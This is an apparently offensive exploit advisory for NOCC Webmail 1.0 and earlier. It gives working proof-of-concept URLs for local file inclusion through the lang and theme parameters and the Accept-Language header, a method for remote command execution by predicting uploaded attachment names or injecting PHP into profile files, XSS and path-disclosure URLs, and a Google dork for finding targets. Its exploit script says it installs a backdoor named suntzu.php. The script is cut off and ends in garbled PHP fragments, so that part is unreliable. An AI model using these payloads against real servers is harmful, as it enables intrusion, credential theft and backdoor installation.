------ NOCC Webmail <= 1.0 multiple arbitrary local inclusion + ---------------- php injection -> remote code execution / / cross site scripting / path disclosure -------------------------------------------------------------------------------- software: site: http://nocc.sourceforge.net/ description: "NOCC is a webmail client written in PHP. It provides webmail access to IMAP and POP3 accounts." -------------------------------------------------------------------------------- i) vulnerable code in html/footer.php at lines 2-11: ...
--------------------------------------------------------------------------------
ii) vulnerable code in common.php at lines 87-118:
...
if(isset($_REQUEST['lang']))
$_SESSION['nocc_lang'] = safestrip($_REQUEST['lang']);
if(isset($_REQUEST['sort']))
$_SESSION['nocc_sort'] = safestrip($_REQUEST['sort']);
if(isset($_REQUEST['sortdir']))
$_SESSION['nocc_sortdir'] = safestrip($_REQUEST['sortdir']);
// Need to wait on the language before checking it
$lang = $conf->default_lang;
if(isset($_SESSION['nocc_lang']))
$lang = $_SESSION['nocc_lang'];
else {
if(isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) && (!isset($conf->force_default_lang) || !$conf->force_default_lang)) {
$ar_lang = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
while ($accept_lang = array_shift($ar_lang))
{
$tmp = explode(';', $accept_lang);
$tmp[0] = strtolower($tmp[0]);
if (file_exists('./lang/' . $tmp[0] . '.php'))
{
$lang = $tmp[0];
break;
}
}
} else {
$lang = $conf->default_lang;
}
$_SESSION['nocc_lang'] = $lang;
}
// Import language translation variables
require ('./lang/'. $lang.'.php');
...
arbitrary local inclusion poc:
http://[target]/[path]/index.php?lang=../../../../../../../../../etc/passwd%00
this works regardless of magic_quotes_gpc settings, because of nocc magic quotes
disable code, look at the safestrip() function in functions.php at lines 925-930:
...
function safestrip(&$string)
{
if(get_magic_quotes_gpc())
$string = stripslashes($string);
return $string;
}
...
safe? really not...
also, regardless of magic_quotes_gpc settings and if in conf.php
we have
$conf->force_default_lang = false;
(default value) you can exploit this issue through the "Accept-Language" field
in an HTTP request to include an arbitrary php file from local resource, poc:
GET [path]index.php HTTP/1.1
Accept-Language: ../index
Host: [somehost]
Connection: Close
--------------------------------------------------------------------------------
iii)
arbitrary local inclusion in "theme" argument, poc:
regardless of any magic_quotes_gpc settings:
http://[target]/[path]/index.php?theme=../../../../../../../../../etc/passwd%00
http://[target]/[path]/index.php?theme=../../../../../../../../../boot.ini%00
--------------------------------------------------------------------------------
iv) remote code execution, there are two ways of execute arbitrary code on
target system
iv.1) uploading a malicious mail attachment:
usually attachments are located in a temporary files folder, the path
is defined in conf.php, by default no path is defined, but script suggests
a 'tmp/' or 'c:\\temp' dir...
also filenames are predictable, look at line 66 in send.php:
...
$tmp_name = $conf->tmpdir.'/'.basename($mail_att['tmp_name'] . time() . '.att');
...
filenames, usually are like this:
phpA91.tmp1140601928.att
generally:
php[some hex value].tmp[unix epoch time].att
this filename is predictable since Apache servers carry GMT time
in "Date:" HTTP response field...
a malicious script can catch this header , sending an HEAD request to the
remote server and to itself, calculate the Greenwich timestamp difference
then calculate the Unix epoch time by time() function locally then
syncronize to the remote Unix epoch time, knowing the difference in
seconds.
Succeeded to include the evil file in (how?) about ten
minutes, then to launch commands, ex:
http://[target]/[path]/index.php?cmd=ls%20-la&lang=..%2ftmp%2fphpA91.tmp1140601928.att%00
also, if temporary folder is not outside nocc path and not .htaccess protected,
a remote user can switch to:
http://[target]/[path]/tmp/
to see the name of the uploaded attachment
iv.2) including a "profile" file:
"profiles" folder name is defined in conf.php, by default no path is
defined but script suggests 'profiles/' or 'prefs\\'.
Also you can inject php code in "full name" field when you set your profile
and filenames are like this:
rgod@somehost.com.pref
so, if php code is like this:
you launch commands:
http://[target]/[path]/index.php?cmd=netstat%20-ano&lang=..%2fprofiles%2frgod@somehost.com.pref%00
also...
v) information disclosure, you can switch to:
http://[target]/[path]/profiles/
to see the filenames and to collect emails
--------------------------------------------------------------------------------
v) some xss:
http://[target]/[path]/html/error.php?html_error_occurred=
http://[target]/[path]/html/filter_prefs.php?html_filter_select=
http://[target]/[path]/html/no_mail.php?html_no_mail=
http://[target]/[path]/html/html_bottom_table.php?page_line=
http://[target]/[path]/html/html_bottom_table.php?prev=
http://[target]/[path]/html/html_bottom_table.php?next=
--------------------------------------------------------------------------------
vi) path disclosure:
http://[target]/[path]/html/header.php
--------------------------------------------------------------------------------
exploit for iv.2):
works regardless of any magic_quotes_gpc settings #
# #
# dork: ("powered by nocc" intitle:"NOCC Webmail") -site:sourceforge.net #
# -Zoekinalles.nl -analysis #
# #
# Sun-Tzu: "Knowing the place and the time of the coming battle, we may #
# concentrate from the greatest distances in order to fight" #
/* short explaination:
we have various arbitrary local inclusion issues, ex:
http://[tArGeT]/[pAtH]/index.php?lang=../../../../../../../../../../../../etc/passwd%00
http://[tArGeT]/[pAtH]/index.php?theme=../../../../../../../../../../../etc/passwd%00
http://[tArGeT]/[pAtH]/html/footer.php?_SESSION[nocc_theme]=../../../../../../../../etc/passwd%00
This code upload an evil mail attachment (file is renamed by NOCC...).
After, it tries to include it, predicting its name and its location, ex:
http://[tArGeT]/[pAtH]/index.php?lang=../tmp/php354.tmp1140521343.att%00&cmd=ls%20-la
http://[tArGeT]/[pAtH]/index.php?theme=../tmp/php354.tmp1140521343.att%00&cmd=ls%20-la
http://[tArGeT]/[pAtH]/html/footer.php?_SESSION[nocc_theme]=..%2f..%2Ftmp%2Fphp53.tmp1140662880.att%00
If succeeded, it installs a backdoor called suntzu.php on target server.
To launch this exploit you need a POP3 account on a machine of your choice,
you need to supply servername, username & password.
a note:
you can do the same manually and more quickly with profile files, if
enabled, ex:
edit your profile, then:
http://[target]/[path]/index.php?cmd=cat%20conf.php&lang=../profiles/username@somehost.com.pref%00
see the full advisory here: http://retrogod.altervista.org/noccw_10_incl_xpl.html
*/
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",10);
ob_implicit_flush (1);
echo'**** NOCC Webmail <= 1.0 remote commands execution ****
a script by rgod at http://retrogod.altervista.org
| "; for ($li=0; $li<=15; $li++) { echo " | ".htmlentities($headeri[$li+$ki])." | "; } $ki=$ki+16; echo "||
| 0".htmlentities($dAtAi)." | "; } else { echo "".htmlentities($dAtAi)." | "; } $ii++;$ji++; } for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) { echo "   | "; } for ($li=$ci*16; $li<=strlen($headeri); $li++) { echo "".htmlentities($headeri[$li])." | "; } echo "